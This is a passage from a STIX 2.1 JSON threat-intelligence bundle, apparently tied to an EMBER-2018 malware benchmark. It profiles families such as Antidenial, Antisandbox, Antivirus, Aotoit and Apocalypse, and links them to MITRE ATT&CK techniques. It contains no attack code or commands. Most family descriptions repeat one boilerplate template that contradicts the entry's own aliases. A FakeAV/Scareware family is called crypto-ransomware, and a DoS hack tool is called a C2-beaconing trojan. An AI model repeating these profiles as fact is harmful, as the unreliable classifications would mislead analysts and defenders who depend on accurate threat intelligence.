      "description": "Antidenial (classified in antivirus detection telemetry under designations including Trojan:Win32/Antidenial, Trojan.Win32.Antidenial, and Win32/Antidenial) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Antidenial executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.DoS.Antidenial",
        "DoS.Tool",
        "Win32/Antidenial",
        "Trojan:Win32/Antidenial",
        "Trojan.Win32.Antidenial"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Antidenial",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/antidenial"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1498.001: Network Denial of Service: Direct Network Flood",
      "description": "MITRE ATT&CK Technique T1498.001 (Network Denial of Service: Direct Network Flood) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1498.001",
          "url": "https://attack.mitre.org/techniques/T1498/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5380006a-25b3-50f6-9204-3f0a30ac9f31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fd84518-9694-5907-8a9e-92a8164ffecf",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antidenial exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c13f7538-cfc1-5a57-8ba2-d4055dfcc13c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1498.002: Network Denial of Service: Reflection Amplification (Used for Spam/DDoS)",
      "description": "MITRE ATT&CK Technique T1498.002 (Network Denial of Service: Reflection Amplification (Used for Spam/DDoS)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1498.002",
          "url": "https://attack.mitre.org/techniques/T1498/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2401d6e-4903-5288-a017-21bd3fcd546e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fd84518-9694-5907-8a9e-92a8164ffecf",
      "target_ref": "attack-pattern--c13f7538-cfc1-5a57-8ba2-d4055dfcc13c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antidenial exhibits technique T1498.002 (Network Denial of Service: Reflection Amplification (Used for Spam/DDoS))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1499: Endpoint Denial of Service (Consuming resources via invisible ad loading and click fraud)",
      "description": "MITRE ATT&CK Technique T1499 (Endpoint Denial of Service (Consuming resources via invisible ad loading and click fraud)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1499",
          "url": "https://attack.mitre.org/techniques/T1499/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38a19164-f382-5d9c-b25e-35f2530888c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fd84518-9694-5907-8a9e-92a8164ffecf",
      "target_ref": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antidenial exhibits technique T1499 (Endpoint Denial of Service (Consuming resources via invisible ad loading and click fraud))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ac4a26f-cc3c-5421-97c8-a46f94f82940",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Antisandbox",
      "description": "Antisandbox (classified in antivirus detection telemetry under designations including Ransom:Win32/Antisandbox, Ransom.Win32.Antisandbox, and Win32/Antisandbox) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Antisandbox executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.AntiSandbox",
        "Trojan.Evas",
        "Riskware.AntiVM",
        "Ransom:Win32/Antisandbox",
        "Ransom.Win32.Antisandbox",
        "Win32/Antisandbox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Antisandbox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/antisandbox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac0f3efe-d5cb-5ae6-ade2-5afb77124544",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ac4a26f-cc3c-5421-97c8-a46f94f82940",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antisandbox exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--26191162-93c9-53a1-af89-8cd060a43fbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1497.002: User Activity Checks",
      "description": "MITRE ATT&CK Technique T1497.002 (User Activity Checks) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1497.002",
          "url": "https://attack.mitre.org/techniques/T1497/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c8325d4-7666-5948-a8c8-f7b93de9fb16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ac4a26f-cc3c-5421-97c8-a46f94f82940",
      "target_ref": "attack-pattern--26191162-93c9-53a1-af89-8cd060a43fbb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antisandbox exhibits technique T1497.002 (User Activity Checks)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c5d8d983-85d0-5f4a-a30a-171e3413444b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1622: Debugger Evasion (Nanomites, Anti-dumping)",
      "description": "MITRE ATT&CK Technique T1622 (Debugger Evasion (Nanomites, Anti-dumping)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1622",
          "url": "https://attack.mitre.org/techniques/T1622/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--083236e0-0bb5-5870-87fd-235d9572ce6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ac4a26f-cc3c-5421-97c8-a46f94f82940",
      "target_ref": "attack-pattern--c5d8d983-85d0-5f4a-a30a-171e3413444b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antisandbox exhibits technique T1622 (Debugger Evasion (Nanomites, Anti-dumping))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c865885e-12a0-5eb2-a5f6-52a507c87d89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Antivirus",
      "description": "Antivirus (classified in antivirus detection telemetry under designations including Ransom:Win32/Antivirus, Ransom.Win32.Antivirus, and Win32/Antivirus) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Antivirus executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "FakeAV",
        "Rogue.Antivirus",
        "Scareware",
        "Ransom:Win32/Antivirus",
        "Ransom.Win32.Antivirus",
        "Win32/Antivirus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Antivirus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/antivirus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f79bf5b1-78d9-5d23-a22a-0801845c009f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1036.003: Masquerading: Rename System Utilities (Using folder icons for executables)",
      "description": "MITRE ATT&CK Technique T1036.003 (Masquerading: Rename System Utilities (Using folder icons for executables)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1036.003",
          "url": "https://attack.mitre.org/techniques/T1036/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8aef95b6-bfee-50a4-afd5-07add123771f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c865885e-12a0-5eb2-a5f6-52a507c87d89",
      "target_ref": "attack-pattern--f79bf5b1-78d9-5d23-a22a-0801845c009f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antivirus exhibits technique T1036.003 (Masquerading: Rename System Utilities (Using folder icons for executables))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--08406106-d4fb-5921-81da-6d7a2609f28f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1480: Execution Guardrails",
      "description": "MITRE ATT&CK Technique T1480 (Execution Guardrails) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1480",
          "url": "https://attack.mitre.org/techniques/T1480/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--626c7188-2ca0-5596-8cdc-9d420afbb526",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c865885e-12a0-5eb2-a5f6-52a507c87d89",
      "target_ref": "attack-pattern--08406106-d4fb-5921-81da-6d7a2609f28f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antivirus exhibits technique T1480 (Execution Guardrails)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a339b7a-313f-57f6-af89-1d816037f23c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c865885e-12a0-5eb2-a5f6-52a507c87d89",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Antivirus exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1383bbf6-4737-5774-9b26-5fa2bf972540",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Anyprotect",
      "description": "Anyprotect (classified in antivirus detection telemetry under designations including Trojan:Win32/Anyprotect, Trojan.Win32.Anyprotect, and Win32/Anyprotect) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Anyprotect executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Anyprotect",
        "Trojan.Win32.Anyprotect",
        "Win32/Anyprotect"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Anyprotect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/anyprotect"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--562bb8d9-29c7-5d8b-9fbd-6850cfcb5ebe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1383bbf6-4737-5774-9b26-5fa2bf972540",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anyprotect exhibits technique T1566.002 (Phishing: Spearphishing Link (Using fake alerts to drive installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d0076c2-e26f-5fa8-88c0-d0d8cab45e07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1383bbf6-4737-5774-9b26-5fa2bf972540",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anyprotect exhibits technique T1489 (Service Stop (Sometimes attempting to disable legitimate AV to maintain control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0e0fa6f-3790-57ae-bae5-8a1eb6016451",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1383bbf6-4737-5774-9b26-5fa2bf972540",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Anyprotect exhibits technique T1189 (Drive-by Compromise (The primary delivery vector))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90878a07-82d8-5fc2-b014-05d2edf53a12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aotoit",
      "description": "Aotoit (classified in antivirus detection telemetry under designations including Ransom:Win32/Aotoit, Ransom.Win32.Aotoit, and Win32/Aotoit) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Aotoit executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Aotoit",
        "Ransom.Win32.Aotoit",
        "Win32/Aotoit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aotoit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aotoit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0ce8205-5ac4-5fde-9d4d-34be97f0ebee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90878a07-82d8-5fc2-b014-05d2edf53a12",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aotoit exhibits technique T1059 (Command and Scripting Interpreter (AutoIt Scripting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad8b809c-7711-50ab-ac0e-0564359cd779",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90878a07-82d8-5fc2-b014-05d2edf53a12",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aotoit exhibits technique T1027 (Obfuscated Files or Information (Obfuscated .au3 scripts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d3c393e-5ef6-5b8e-941a-993a3bdb13ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90878a07-82d8-5fc2-b014-05d2edf53a12",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aotoit exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2717865-ba49-5014-8057-fa8ec0aad9ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90878a07-82d8-5fc2-b014-05d2edf53a12",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aotoit exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d230ed45-e696-51dd-b2f2-0e0fdfc449e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Apocalypse",
      "description": "Apocalypse (classified in antivirus detection telemetry under designations including Ransom:Win32/Apocalypse, Ransom.Win32.Apocalypse, and Win32/Apocalypse) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Apocalypse executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.Apocalypse",
        "Win32/Apocalypse",
        "Trojan-Ransom.Win32.Apocalypse",
        "Ransom:Win32/Apocalypse",
        "Ransom.Win32.Apocalypse"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Apocalypse",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/apocalypse"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc1fe699-8813-5ad7-9eb5-f2ce4b015a77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d230ed45-e696-51dd-b2f2-0e0fdfc449e3",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1133: External Remote Services (Commonly deployed via brute-forced RDP connections)",
      "description": "MITRE ATT&CK Technique T1133 (External Remote Services (Commonly deployed via brute-forced RDP connections)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1133",
          "url": "https://attack.mitre.org/techniques/T1133/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e09142ef-5193-52fc-8b22-97a4da73c876",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d230ed45-e696-51dd-b2f2-0e0fdfc449e3",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse exhibits technique T1133 (External Remote Services (Commonly deployed via brute-forced RDP connections))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1078: Valid Accounts (The goal of the attack)",
      "description": "MITRE ATT&CK Technique T1078 (Valid Accounts (The goal of the attack)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1078",
          "url": "https://attack.mitre.org/techniques/T1078/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb20aed0-22cf-55c2-8833-ac8f8e1bcedb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d230ed45-e696-51dd-b2f2-0e0fdfc449e3",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--66c4774f-5ed9-5a4a-94f8-5c1d2f2ec6cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Apocalypse_Rat",
      "description": "Apocalypse RAT (Remote Access Trojan) is a potent piece of malware designed to provide threat actors with comprehensive control over compromised Windows systems. Emerging in the cyber threat landscape as a versatile tool for espionage and data exfiltration, it possesses a wide array of capabilities. These include the ability to log keystrokes, capture screen activity, manage files, and execute arbitrary commands, making it highly effective for stealthy operations. The malware often evades detection through sophisticated obfuscation techniques and by injecting itself into legitimate system processes. Its architecture allows it to easily receive updates and additional modules from its command and control (C2) servers, ensuring its continuous viability as a threat. Organizations must employ advanced behavioral analysis and strict network monitoring to effectively identify and mitigate Apocalypse RAT infections.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "ApocRAT",
        "Apocalypse RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Apocalypse_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/apocalypse_rat"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99168180-dfe8-544e-abcd-f421461ca112",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66c4774f-5ed9-5a4a-94f8-5c1d2f2ec6cf",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse_Rat exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75c95190-ec1e-5275-8411-f11a01713915",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66c4774f-5ed9-5a4a-94f8-5c1d2f2ec6cf",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse_Rat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40f62045-a0b6-5896-b367-f9b8543e2ed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66c4774f-5ed9-5a4a-94f8-5c1d2f2ec6cf",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse_Rat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97f83c78-e9f6-592e-9e0c-7f8299aaff12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66c4774f-5ed9-5a4a-94f8-5c1d2f2ec6cf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse_Rat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "attack-pattern",
